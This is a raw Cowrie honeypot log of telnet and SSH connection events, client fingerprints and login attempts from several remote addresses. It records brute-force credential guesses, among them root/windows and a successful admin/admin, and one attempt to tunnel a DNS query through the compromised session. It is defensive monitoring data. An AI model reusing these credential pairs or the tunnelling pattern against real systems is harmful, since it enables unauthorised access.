{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55326,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b2316bb7fd","protocol":"telnet","message":"New connection: 192.119.13.58:55326 (10.17.0.5:23) [session: 81b2316bb7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:31.273363Z"}
{"eventid":"cowrie.session.closed","duration":0.011497020721435547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:31.284707Z","src_ip":"192.119.13.58","session":"81b2316bb7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.174930334091187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:36.928632Z","src_ip":"192.119.13.58","session":"593099f9c5ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.799065351486206,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:38.243502Z","src_ip":"192.119.13.58","session":"625fe45ad409","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90114998817444,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:38.386046Z","src_ip":"192.119.13.58","session":"bc02266cdd9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56512,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ff1a2f1145d","protocol":"ssh","message":"New connection: 193.32.162.145:56512 (10.17.0.5:22) [session: 5ff1a2f1145d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:38.760418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:38.765830Z","src_ip":"193.32.162.145","session":"5ff1a2f1145d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:38.861778Z","src_ip":"193.32.162.145","session":"5ff1a2f1145d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"testnet","message":"login attempt [sol/testnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:39.162983Z","src_ip":"193.32.162.145","session":"5ff1a2f1145d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.765708208084106,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:39.168061Z","src_ip":"192.119.13.58","session":"cd30dc2fd304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48966,"dst_ip":"10.17.0.5","dst_port":23,"session":"a51e5f3cf375","protocol":"telnet","message":"New connection: 192.119.13.58:48966 (10.17.0.5:23) [session: a51e5f3cf375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:39.666989Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52974,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea69549d5f3f","protocol":"telnet","message":"New connection: 192.119.13.58:52974 (10.17.0.5:23) [session: ea69549d5f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:40.024340Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53042,"dst_ip":"10.17.0.5","dst_port":23,"session":"b06f8783ba65","protocol":"telnet","message":"New connection: 192.119.13.58:53042 (10.17.0.5:23) [session: b06f8783ba65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:40.049325Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:40.279624Z","src_ip":"193.32.162.145","session":"5ff1a2f1145d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36480,"dst_ip":"10.17.0.5","dst_port":23,"session":"78d5b6aea9c1","protocol":"telnet","message":"New connection: 192.119.13.58:36480 (10.17.0.5:23) [session: 78d5b6aea9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:43.974110Z"}
{"eventid":"cowrie.session.closed","duration":46.282954931259155,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:45.571370Z","src_ip":"192.119.13.58","session":"3bc17465a115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53214,"dst_ip":"10.17.0.5","dst_port":23,"session":"71c592962cd9","protocol":"telnet","message":"New connection: 192.119.13.58:53214 (10.17.0.5:23) [session: 71c592962cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:49.501330Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55352,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f43d8a41a8e","protocol":"ssh","message":"New connection: 37.233.85.71:55352 (10.17.0.5:22) [session: 6f43d8a41a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:50.345857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:50.350882Z","src_ip":"37.233.85.71","session":"6f43d8a41a8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:50.460733Z","src_ip":"37.233.85.71","session":"6f43d8a41a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678z","message":"login attempt [root/12345678z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:50.792339Z","src_ip":"37.233.85.71","session":"6f43d8a41a8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59798,"dst_ip":"10.17.0.5","dst_port":23,"session":"840bbf5d4e49","protocol":"telnet","message":"New connection: 192.119.13.58:59798 (10.17.0.5:23) [session: 840bbf5d4e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:51.594096Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:51.903600Z","src_ip":"37.233.85.71","session":"6f43d8a41a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.81897807121277,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:52.007802Z","src_ip":"192.119.13.58","session":"e25e32f52e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37044,"dst_ip":"10.17.0.5","dst_port":23,"session":"308ff59a8d8f","protocol":"telnet","message":"New connection: 192.119.13.58:37044 (10.17.0.5:23) [session: 308ff59a8d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:53.284624Z"}
{"eventid":"cowrie.session.closed","duration":40.27952170372009,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:55.557805Z","src_ip":"192.119.13.58","session":"f3a31c3c01fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44828,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ae18d53fadb","protocol":"telnet","message":"New connection: 192.119.13.58:44828 (10.17.0.5:23) [session: 5ae18d53fadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:55.641794Z"}
{"eventid":"cowrie.session.closed","duration":42.19460368156433,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:55.679294Z","src_ip":"192.119.13.58","session":"fbd844e37950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.076727628707886,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:57.299759Z","src_ip":"192.119.13.58","session":"a616e004a208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7376,"dst_ip":"10.17.0.5","dst_port":22,"session":"91700fd6e753","protocol":"ssh","message":"New connection: 87.251.64.176:7376 (10.17.0.5:22) [session: 91700fd6e753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:59.203438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:59.211787Z","src_ip":"87.251.64.176","session":"91700fd6e753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:59.308417Z","src_ip":"87.251.64.176","session":"91700fd6e753","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:59.602049Z","src_ip":"87.251.64.176","session":"91700fd6e753","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:59.701490Z","session":"91700fd6e753","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:59.799940Z","src_ip":"87.251.64.176","session":"91700fd6e753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:59.901804Z","src_ip":"87.251.64.176","session":"91700fd6e753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.31943702697754,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:02.422156Z","src_ip":"192.119.13.58","session":"167b55f9910f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48928,"dst_ip":"10.17.0.5","dst_port":23,"session":"d447489ba6b6","protocol":"telnet","message":"New connection: 192.119.13.58:48928 (10.17.0.5:23) [session: d447489ba6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:05.459568Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49390,"dst_ip":"10.17.0.5","dst_port":23,"session":"d408d354ad15","protocol":"telnet","message":"New connection: 192.119.13.58:49390 (10.17.0.5:23) [session: d408d354ad15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:05.591984Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":34676,"dst_ip":"10.17.0.5","dst_port":22,"session":"da8271d756dc","protocol":"ssh","message":"New connection: 62.133.63.178:34676 (10.17.0.5:22) [session: da8271d756dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:10.335488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:10.345632Z","src_ip":"62.133.63.178","session":"da8271d756dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37822,"dst_ip":"10.17.0.5","dst_port":23,"session":"e73f75a2185d","protocol":"telnet","message":"New connection: 192.119.13.58:37822 (10.17.0.5:23) [session: e73f75a2185d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:10.445065Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:10.465267Z","src_ip":"62.133.63.178","session":"da8271d756dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"windows","message":"login attempt [root/windows] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:10.820937Z","src_ip":"62.133.63.178","session":"da8271d756dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40192,"dst_ip":"10.17.0.5","dst_port":23,"session":"d689eed70110","protocol":"telnet","message":"New connection: 192.119.13.58:40192 (10.17.0.5:23) [session: d689eed70110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:11.169173Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:11.944866Z","src_ip":"62.133.63.178","session":"da8271d756dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":58130,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2de817246e7","protocol":"ssh","message":"New connection: 103.98.149.87:58130 (10.17.0.5:22) [session: b2de817246e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:14.454823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:14.627416Z","src_ip":"103.98.149.87","session":"b2de817246e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:14.843854Z","src_ip":"103.98.149.87","session":"b2de817246e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ktyjxrf","message":"login attempt [root/ktyjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:16.012537Z","src_ip":"103.98.149.87","session":"b2de817246e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.61110210418701,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:16.277985Z","src_ip":"192.119.13.58","session":"a51e5f3cf375","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.025089502334595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:17.999083Z","src_ip":"192.119.13.58","session":"78d5b6aea9c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37596,"dst_ip":"10.17.0.5","dst_port":23,"session":"4242b42544fe","protocol":"telnet","message":"New connection: 192.119.13.58:37596 (10.17.0.5:23) [session: 4242b42544fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:18.497662Z"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:18.555142Z","src_ip":"103.98.149.87","session":"b2de817246e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40038,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd70c1c69588","protocol":"telnet","message":"New connection: 192.119.13.58:40038 (10.17.0.5:23) [session: dd70c1c69588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:19.189247Z"}
{"eventid":"cowrie.session.closed","duration":39.6700382232666,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:19.694262Z","src_ip":"192.119.13.58","session":"ea69549d5f3f","protocol":"telnet"}
